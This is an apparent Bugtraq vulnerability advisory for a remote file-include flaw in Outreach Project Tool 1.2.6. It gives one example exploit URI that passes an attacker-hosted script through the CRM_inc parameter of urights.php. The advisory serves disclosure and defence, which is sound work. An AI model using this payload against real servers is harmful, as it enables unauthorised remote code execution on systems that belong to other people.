Outreach Project Tool Remote File Include Vulnerability

Bugtraq ID:	19548
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 16 2006 12:00AM
Updated:	Aug 16 2006 09:25PM
Credit:	Kacper is credited with the discovery of this vulnerability.
Vulnerable:	Outreach Project Tool OPT Max 1.2.6
Not Vulnerable:

Outreach Project Tool Remote File Include Vulnerability

Outreach Project Tool is prone to a remote file-include vulnerability.

Attackers may exploit this issue to execute arbitrary PHP code on an affected computer in the context of the web server process.

Version 1.2.6 of OPT is vulnerable to this issue; prior versions may also be affected.

Outreach Project Tool Remote File Include Vulnerability

Attackers can exploit this issue using a web client.

The following example exploit URI is available:
http://www.example.com/[opt_path]/include/urights.php?CRM_inc=[evil_scripts.txt]

Outreach Project Tool Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]

Outreach Project Tool Remote File Include Vulnerability

References:

• Outreach Project Tool (Outreach Project Tool)